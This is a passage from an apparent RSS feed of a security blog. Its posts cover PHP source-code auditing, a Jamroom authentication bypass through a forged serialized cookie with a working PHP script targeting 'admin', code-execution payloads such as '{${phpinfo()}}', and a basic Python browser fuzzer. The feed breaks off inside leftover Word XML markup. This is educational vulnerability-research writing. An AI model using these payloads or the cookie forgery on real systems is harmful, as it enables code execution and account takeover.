<p>php code execution is possible via complex variable evaluation.<br />
[:nom:{${phpinfo()}}] </p>
<p>or this code :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$globals</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'bbc_email'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
&nbsp;
	<span style="color: #000088;">$text</span> <span style="color: #339933;">=</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span>
				<span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/\[email=(.*?)\](.*?)\[\/email\]/ies&quot;</span><span style="color: #339933;">,</span>
						<span style="color: #0000ff;">&quot;/\[email\](.*?)\[\/email\]/ies&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
				<span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'check_email(&quot;$1&quot;, &quot;$2&quot;)'</span><span style="color: #339933;">,</span>
						<span style="color: #0000ff;">'check_email(&quot;$1&quot;, &quot;$1&quot;)'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$text</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>abuse :<br />
[email]{${phpinfo()}}[/email] </p>
<p>2- Configuration mistake : Authentication Bypass<br />
There is a serious flaw in the Jamroom (JamRoom <= 3.3.8) authentication mechanism that allows for an attacker to completely bypass the authentication process with a specially crafted cookie. The vulnerable code in question can be found in /includes/jamroom-misc.inc.php @ lines 3667-3681 within the jrCookie() function</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #990000;">list</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$user</span><span style="color: #339933;">,</span><span style="color: #000088;">$hash</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> <span style="color: #990000;">unserialize</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">stripslashes</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_val</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$user</span> <span style="color: #339933;">=</span> <span style="color: #990000;">trim</span><span style="color: #009900;">&#40;</span>genc<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'get'</span><span style="color: #339933;">,</span><span style="color: #000088;">$user</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$req</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;SELECT user_nickname, user_password
FROM <span style="color: #006699; font-weight: bold;">{$jamroom_db['user']}</span>
WHERE user_nickname = '&quot;</span><span style="color: #339933;">.</span> dbEscapeString<span style="color: #009900;">&#40;</span><span style="color: #000088;">$user</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;'
LIMIT 1&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$_rt</span> <span style="color: #339933;">=</span> dbQuery<span style="color: #009900;">&#40;</span><span style="color: #000088;">$req</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'SINGLE'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">strlen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_rt</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'user_password'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">===</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #b1b100;">return</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_rt</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'user_password'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$sect</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #000088;">$hash</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #990000;">print_r</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$rt</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">return</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_rt</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>The problem with the above code is that $_val is a user supplied value taken from $_COOKIE['JMU_Cookie']. Since the cookie data is serialized an attacker can specify data types such as <a href="http://php.net/manual/en/language.types.boolean.php">boolean values</a>, and bypass the password check, and authenticate with only a username. If the first byte of the password hash stored in the database is numerical then a boolean value of true can be used in place of an actual password, and if the first byte is a letter then a boolean value of false is required.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$data</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$user</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'admin'</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// Target</span>
&nbsp;
<span style="color: #000088;">$data</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #990000;">base64_encode</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">serialize</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$user</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$data</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>bool<span style="color: #009900;">&#41;</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>===[ 0 ] ========================<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Cookie: JMU_Cookie='</span> <span style="color: #339933;">.</span> <span style="color: #990000;">urlencode</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">serialize</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$data</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$data</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>bool<span style="color: #009900;">&#41;</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>===[ 1 ] ========================<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Cookie: JMU_Cookie='</span> <span style="color: #339933;">.</span> <span style="color: #990000;">urlencode</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">serialize</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$data</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>The above script is an example of how it works, and will create a cookie to login as the user admin. For more information check out the comparison operators section of the php manual. Specifically the &#8220;identical&#8221; operator.</p>
<p>3- new bug :<br />
<a href="http://www.sektioneins.com/en/advisories/advisory-022009-phpids-unserialize-vulnerability/index.html">http://www.sektioneins.com/en/advisories/advisory-022009-phpids-unserialize-vulnerability/index.html</a><br />
in other post , i will publish some of our most recent research on  browsers security and results we got on this topic as i promised in a few past posts .</p>
<p>regards<br />
daphne</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2010/03/attention-in-php-source-code-auditing/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>writing a Browser fuzzer !!!</title>
		<link>http://www.abysssec.com/blog/2009/08/how-to-write-browser-fuzzer/</link>
		<comments>http://www.abysssec.com/blog/2009/08/how-to-write-browser-fuzzer/#comments</comments>
		<pubDate>Fri, 21 Aug 2009 16:12:12 +0000</pubDate>
		<dc:creator>daphne</dc:creator>
				<category><![CDATA[Fuzzing / Auditing]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[browser fuzzing]]></category>
		<category><![CDATA[FireFox Exploit]]></category>
		<category><![CDATA[font]]></category>
		<category><![CDATA[fuzzer]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[tag]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=368</guid>
		<description><![CDATA[Hello all in this post , i wanna talk about web browser Fuzzing  and auditing. web browsers , such as FireFox , Opera , Internet Explorer  and etc .. , are very convertible with new web technologies. For example : when html5 comes , Firefox added html5 features to itself too.  and a clever Attacker [...]]]></description>
			<content:encoded><![CDATA[<p>Hello all<br />
in this post , i wanna talk about web browser Fuzzing  and auditing.<br />
web browsers , such as FireFox , Opera , Internet Explorer  and etc .. , are very convertible with new web technologies.</p>
<p><strong>For example : </strong><br />
when html5 comes , Firefox added html5 features to itself too.  and a clever Attacker could recognizing  this change and we will be able to find Security holes .</p>
<p>for more information please read :</p>
<p>w3.org publish paper with this title: HTML 5 differences from HTML 4<br />
<a href="http://www.w3.org/TR/2009/WD-html5-diff-20090212/">http://www.w3.org/TR/2009/WD-html5-diff-20090212/</a><br />
and take HTML5 Overview :<br />
<a href="http://dev.w3.org/html5/spec/Overview.html">http://dev.w3.org/html5/spec/Overview.html</a></p>
<p>please  pay attention to differences between FF3 &amp; FF3.5 :</p>
<blockquote><p>These changes include support for the &lt;video&gt; and &lt;audio&gt; tags as defined in the HTML 5 specification, with a goal to offer video playback without being encumbered by patent issues associated with many video technologies.</p>
<p>Cross-site XMLHttpRequests (XHR), which can allow for more powerful web applications and an easier way to implement mashups, are also implemented in 3.5.</p>
<p>A new global JSON object contains native functions to efficiently and safely serialize and deserialize JSON objects, as specified by the ECMAScript 3.1 draft.</p>
<p>Full CSS 3 selector support has been added. Firefox 3.5 uses the Gecko 1.9.1 engine, which includes a few features that were not included in the 3.0 release. Multi-touch support was also added to the release, including gesture support like pinching for zooming and swiping for back and forward.</p></blockquote>
<p>and then milw0rm.com publish new exploit in &#8220;Firefox font tag !&#8221;<br />
<a href="http://www.milw0rm.com/exploits/9137">http://www.milw0rm.com/exploits/9137</a></p>
<p>we are not bloodsucker , we try to act like a  real hacker , Real hacker (Pen-tester i mean)  think about how to find  this type of bug .</p>
<p>since we know about all of  new  features in  new web browsers  such as of FF  and we can test features as a security researcher as well.</p>
<p>Browser Vulnerability Assessment  has tree  step :</p>
<p>1 &#8211; Find <strong>HTML </strong>or <strong>XML </strong>or <strong>javascript </strong>&lt;tag&gt; browser can support , for example :<br />
<a href="http://msdn.microsoft.com/en-us/library/ms533050%28VS.85%29.aspx">http://msdn.microsoft.com/en-us/library/ms533050%28VS.85%29.aspx</a> [IE]</p>
<p>2- find  Properties , Methods , Collections , Events ,Constants , Prototypes , HTML Elements for each &lt;tag&gt; .</p>
<p>3- misuse property of &lt;tag&gt; or fuzzed tag for buffer-overflow and other memory corruption vulnerabilities (in this case)</p>
<p>for example :<br />
we want find memory corruption vulnerability using ,  unbound check in  &lt;font&gt; tag,  in  Internet explorer 8 !:<br />
<span style="text-decoration: underline;"><em> &lt;font color=&#8221;#727272&#8243;&gt;test&lt;/font&gt;</em></span></p>
<p>take a look at  &#8220;MSDN&#8221; :<br />
<a href="http://msdn.microsoft.com/en-us/library/ms535248%28VS.85%29.aspx">http://msdn.microsoft.com/en-us/library/ms535248%28VS.85%29.aspx</a></p>
<p>second : find &#8220;Attribute&#8221; and &#8220;property&#8221; of &lt;font&gt; tag , such as :<br />
&#8216;color&#8217;, &#8216;face&#8217;, &#8216;size&#8217;, &#8216;class&#8217;, &#8216;id&#8217;, &#8216;style&#8217;, &#8216;title&#8217;, &#8216;dir&#8217;, &#8216;lang&#8217;, &#8216;accesskey&#8217;, &#8216;tabindex&#8217;</p>
<p>third  : build random character for &#8220;overflows &#8221; , &#8220;FormatString&#8221;  , and other memory corruptions &#8230;</p>
<p><span style="color: #ff6600;">for example to be more clear i wrote a really basic fuzzer in python :<br />
</span></p>
<p><span style="color: #ff6600;">(for sure this is not a commercial fuzzer)<br />
</span></p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;"># Abysssec Inc public material</span>
<span style="color: #808080; font-style: italic;"># Simple Browser Fuzzer</span>
<span style="color: #808080; font-style: italic;"># www.Abysssec.com</span>
<span style="color: #808080; font-style: italic;">#garbage char</span>
overflows = <span style="color: black;">&#91;</span><span style="color: #483d8b;">'A'</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">10</span>, <span style="color: #483d8b;">'A'</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">20</span>, <span style="color: #483d8b;">'A'</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">100</span>, <span style="color: #483d8b;">'A'</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">200</span><span style="color: black;">&#93;</span>
fmtstring = <span style="color: black;">&#91;</span><span style="color: #483d8b;">'%n%n%n%n%n'</span>, <span style="color: #483d8b;">'%p%p%p%p%p'</span>, <span style="color: #483d8b;">'%s%s%s%s%s'</span>, <span style="color: #483d8b;">'%d%d%d%d%d'</span>, <span style="color: #483d8b;">'%x%x%x%x%x'</span><span style="color: black;">&#93;</span>
numbers   = <span style="color: black;">&#91;</span><span style="color: #483d8b;">'0'</span>, <span style="color: #483d8b;">'-0'</span>, <span style="color: #483d8b;">'1'</span>, <span style="color: #483d8b;">'-1'</span>, <span style="color: #483d8b;">'32767'</span>, <span style="color: #483d8b;">'-32768'</span>, <span style="color: #483d8b;">'2147483647'</span>, <span style="color: #483d8b;">'-2147483647'</span>, <span style="color: #483d8b;">'2147483648'</span>, <span style="color: #483d8b;">'-2147483648'</span><span style="color: black;">&#93;</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># FONT property</span>
fontpropery = <span style="color: black;">&#91;</span><span style="color: #483d8b;">'color'</span>, <span style="color: #483d8b;">'face'</span>, <span style="color: #483d8b;">'size'</span>, <span style="color: #483d8b;">'class'</span>, <span style="color: #483d8b;">'id'</span>, <span style="color: #483d8b;">'style'</span>, <span style="color: #483d8b;">'title'</span>, <span style="color: #483d8b;">'dir'</span>, <span style="color: #483d8b;">'lang'</span>, <span style="color: #483d8b;">'accesskey'</span>, <span style="color: #483d8b;">'tabindex'</span><span style="color: black;">&#93;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">#basic Automated Fuzzer :</span>
i = <span style="color: #ff4500;">0</span> 
&nbsp;
<span style="color: #ff7700;font-weight:bold;">for</span> x <span style="color: #ff7700;font-weight:bold;">in</span> fontpropery:
     <span style="color: #ff7700;font-weight:bold;">for</span> y <span style="color: #ff7700;font-weight:bold;">in</span> overflows:
    	tag = <span style="color: #483d8b;">&quot;&lt;span&gt;TEST&lt;/span&gt;&quot;</span>
    	i = i + <span style="color: #ff4500;">1</span>
	<span style="color: #008000;">file</span> = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span> <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>i<span style="color: black;">&#41;</span> + <span style="color: #483d8b;">&quot;.html&quot;</span>,<span style="color: #483d8b;">&quot;w&quot;</span><span style="color: black;">&#41;</span>
	<span style="color: #008000;">file</span>.<span style="color: black;">writelines</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">''</span><span style="color: black;">&#41;</span>
	<span style="color: #008000;">file</span>.<span style="color: black;">writelines</span><span style="color: black;">&#40;</span>tag<span style="color: black;">&#41;</span>
	<span style="color: #008000;">file</span>.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
     <span style="color: #ff7700;font-weight:bold;">for</span> y <span style="color: #ff7700;font-weight:bold;">in</span> fmtstring:
    	tag =  <span style="color: #483d8b;">&quot;&lt;span&gt;TEST&lt;/span&gt;&quot;</span>
    	i = i + <span style="color: #ff4500;">1</span>
	<span style="color: #008000;">file</span> = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span> <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>i<span style="color: black;">&#41;</span> + <span style="color: #483d8b;">&quot;.html&quot;</span>,<span style="color: #483d8b;">&quot;w&quot;</span><span style="color: black;">&#41;</span>
	<span style="color: #008000;">file</span>.<span style="color: black;">writelines</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">''</span><span style="color: black;">&#41;</span>
	<span style="color: #008000;">file</span>.<span style="color: black;">writelines</span><span style="color: black;">&#40;</span>tag<span style="color: black;">&#41;</span>
	<span style="color: #008000;">file</span>.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
     <span style="color: #ff7700;font-weight:bold;">for</span> y <span style="color: #ff7700;font-weight:bold;">in</span> numbers:
    	tag =  <span style="color: #483d8b;">&quot;&lt;span&gt;TEST&lt;/span&gt;&quot;</span>
    	i = i + <span style="color: #ff4500;">1</span>
	<span style="color: #008000;">file</span> = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span> <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>i<span style="color: black;">&#41;</span> + <span style="color: #483d8b;">&quot;.html&quot;</span>,<span style="color: #483d8b;">&quot;w&quot;</span><span style="color: black;">&#41;</span>
	<span style="color: #008000;">file</span>.<span style="color: black;">writelines</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">''</span><span style="color: black;">&#41;</span>
	<span style="color: #008000;">file</span>.<span style="color: black;">writelines</span><span style="color: black;">&#40;</span>tag<span style="color: black;">&#41;</span>
	<span style="color: #008000;">file</span>.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></pre></div></div>

<p>for start fuzzing , add refresh page with next page . [for start fuzz click 1.html]</p>
<p><strong>another way :</strong></p>
<p>&#8220;Jeremy Brown&#8221;  developed this a fuzzer for general browser fuzzing&#8221; :</p>
<ol>
<li>Written in PERL</li>
<li>CSS/DOM/HTML/JS fuzzing comprehensive</li>
<li>Specialized functions for fuzz page generation &amp; writing</li>
<li>Decent file structure easily supporting add/del/modification</li>
<li>3rd generation [unlimited style, web] fuzzing oracle implemented</li>
</ol>
<p><a href="http://www.krakowlabs.com/dev/fuz/bf2/bf2.pl.txt">http://www.krakowlabs.com/dev/fuz/bf2/bf2.pl.txt</a></p>
<p>this fuzzer is good but it&#8217;s really simple too and can&#8217;t find new vulnerabilities without modifying but   you can extend it for new method of browser &lt;tag &gt; fuzz .</p>
<p>more info :</p>
<p><a href="http://www.krakowlabs.com/dev/fuz/bf2/bf2_doc.txt">http://www.krakowlabs.com/dev/fuz/bf2/bf2_doc.txt</a></p>
<p><strong>Browser Auditing :</strong></p>
<p>browser source code auditing  is actually white-box testing  and only is useful when you have  an open source browser like  Firefox  and &#8230;. .</p>
<p>source code auditing is really practical , but need higher then  knowledge in programming (always C/C++)<br />
for example , in firefox :<br />
you can download all versions  source code from here :<br />
<a href="ftp://ftp.mozilla.org/pub/mozilla.org/firefox/releases">ftp://ftp.mozilla.org/pub/mozilla.org/firefox/releases</a></p>
<p>more source code of FF written by C++ , my interested  C++ source code Auditor is : CPPcheck<br />
<a href="http://sourceforge.net/apps/mediawiki/cppcheck">http://sourceforge.net/apps/mediawiki/cppcheck</a></p>
<p>Important point that we understand from this Post :<br />
why we can&#8217;t found bugs from this ways ?<br />
i try to answer this question in future post .</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>and this write-up is for  tell you we are &#8220;not dead&#8221;</p>
<p>wait for out new advisories + exploits soon as soon possible</p>
<p>god speed you</p>
<p>Daphne<br />
&#8212;&#8212;&#8212;&#8211;<br />
unfortunately  , we had mistake in our simple fuzzer , now edit &amp; repaired .<br />
thanks .<br />
Daphne /</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/08/how-to-write-browser-fuzzer/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>20 ways to php Source code fuzzing (Auditing)</title>
		<link>http://www.abysssec.com/blog/2009/03/php_fuzz_audit/</link>
		<comments>http://www.abysssec.com/blog/2009/03/php_fuzz_audit/#comments</comments>
		<pubDate>Mon, 09 Mar 2009 05:39:10 +0000</pubDate>
		<dc:creator>daphne</dc:creator>
				<category><![CDATA[Fuzzing / Auditing]]></category>
		<category><![CDATA[Pen-test Method]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[disclosure]]></category>
		<category><![CDATA[exploiting]]></category>
		<category><![CDATA[LFI]]></category>
		<category><![CDATA[php auditing]]></category>
		<category><![CDATA[RCE]]></category>
		<category><![CDATA[RFI]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[vulnerability discovery]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=324</guid>
		<description><![CDATA[Hello . This article is only for who attend php as well and really knowing how to program In PHP. When we talk about PHP Vulnerability discovery, we forget this Question: What types of bugs? When we can answer this Question, we will gain to find vulnerability as well as drink some water. Reading in  [...]]]></description>
			<content:encoded><![CDATA[<p>Hello .</p>
<p>This article is only for who attend php as well and really knowing how to program In PHP.</p>
<p>When we talk about PHP Vulnerability discovery, we forget this Question:<br />
<strong>What types of bugs?</strong></p>
<p>When we can answer this Question, we will gain to find vulnerability as well as drink some water.</p>
<p><em>Reading in  this article :</em></p>
<p>Section 1 : (20 ways to PHP source code Auditing &#8211; PHP Fuzzing)<br />
1- Cross Site Scripting<br />
2- SQL Injection [medium]<br />
3- HTTP Response Splitting [Medium]<br />
4- Dynamic Evaluation Vulnerabilities [High]<br />
5- Process Control / PHP Code Injection (HIGH)<br />
6- Local / Remote file inclusion (High)<br />
7 – File Management (HIGH)<br />
8- Buffer overflows (High, But Hard Usage)<br />
9- Cookie / Session injection / Fixation / [High]<br />
10 – Denial Of service [Medium, But Hard Assessment]:<br />
11 &#8211; XPath Injection [XML Functions]<br />
12 &#8211; Often Misused: File Uploads (High)<br />
13 &#8211; Un-Authorize summon of Functionality / File (Medium)<br />
14 &#8211; Authentication Bypass with Brute Force (Low)<br />
15 &#8211; Insecure Randomness Session / Cookie / Backup files (Medium)<br />
16 &#8211; Informative details in HTML Comments (Low)<br />
17 &#8211; Default unnecessary installation files (medium)<br />
18 – Regular Expression Vulnerability (High)<br />
19 – Resource Injection (Medium)<br />
20 – Week Password / Encryption: (Low)</p>
<p>Section 2:<br />
Automatic PHP Auditor source code</p>
<p>This article is not a full reference about PHP source code security review (a.k.a auditing) but I tried to do this work in my short time as well. So please take my apology about all of mistakes (maybe) I made during completing this article.  I’m not sure but maybe I’ve release future version of this article that contain a few more advanced methods.</p>
<p><!--[if gte mso 9]><xml> <o :OfficeDocumentSettings> <o :RelyOnVML /> <o :AllowPNG /> </o> </xml>< ![endif]--><!--[if gte mso 9]><xml> <w :WordDocument> </w><w :View>Normal</w> <w :Zoom>0</w> <w :TrackMoves /> <w :TrackFormatting /> <w :PunctuationKerning /> <w :ValidateAgainstSchemas /> <w :SaveIfXMLInvalid>false</w> <w :IgnoreMixedContent>false</w> <w :AlwaysShowPlaceholderText>false</w> <w :DoNotPromoteQF /> <w :LidThemeOther>EN-US</w> <w :LidThemeAsian>X-NONE</w> <w :LidThemeComplexScript>FA</w> <w :Compatibility> <w :BreakWrappedTables /> <w :SnapToGridInCell /> <w :WrapTextWithPunct /> <w :UseAsianBreakRules /> <w :DontGrowAutofit /> <w :SplitPgBreakAndParaMark /> <w :DontVertAlignCellWithSp /> <w :DontBreakConstrainedForcedTables /> <w :DontVertAlignInTxbx /> <w :Word11KerningPairs /> <w :CachedColBalance /> </w> <m :mathPr> <m :mathFont m:val="Cambria Math" /> <m :brkBin m:val="before" /> <m :brkBinSub m:val=" " /> <m :smallFrac m:val="off" /> <m :dispDef /> <m :lMargin m:val="0" /> <m :rMargin m:val="0" /> <m :defJc m:val="centerGroup" /> <m :wrapIndent m:val="1440" /> <m :intLim m:val="subSup" /> <m :naryLim m:val="undOvr" /> </m> </xml>< ![endif]--><!--[if gte mso 9]><xml> <w :LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"   DefSemiHidden="true" DefQFormat="false" DefPriority="99"   LatentStyleCount="267"> <w :LsdException Locked="false" Priority="0" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Normal" /> <w :LsdException Locked="false" Priority="9" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="heading 1" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9" /> <w :LsdException Locked="false" Priority="39" Name="toc 1" /> <w :LsdException Locked="false" Priority="39" Name="toc 2" /> <w :LsdException Locked="false" Priority="39" Name="toc 3" /> <w :LsdException Locked="false" Priority="39" Name="toc 4" /> <w :LsdException Locked="false" Priority="39" Name="toc 5" /> <w :LsdException Locked="false" Priority="39" Name="toc 6" /> <w :LsdException Locked="false" Priority="39" Name="toc 7" /> <w :LsdException Locked="false" Priority="39" Name="toc 8" /> <w :LsdException Locked="false" Priority="39" Name="toc 9" /> <w :LsdException Locked="false" Priority="35" QFormat="true" Name="caption" /> <w :LsdException Locked="false" Priority="10" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Title" /> <w :LsdException Locked="false" Priority="1" Name="Default Paragraph Font" /> <w :LsdException Locked="false" Priority="11" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtitle" /> <w :LsdException Locked="false" Priority="22" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Strong" /> <w :LsdException Locked="false" Priority="20" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Emphasis" /> <w :LsdException Locked="false" Priority="59" SemiHidden="false"    UnhideWhenUsed="false" Name="Table Grid" /> <w :LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text" /> <w :LsdException Locked="false" Priority="1" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="No Spacing" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List" /> <w 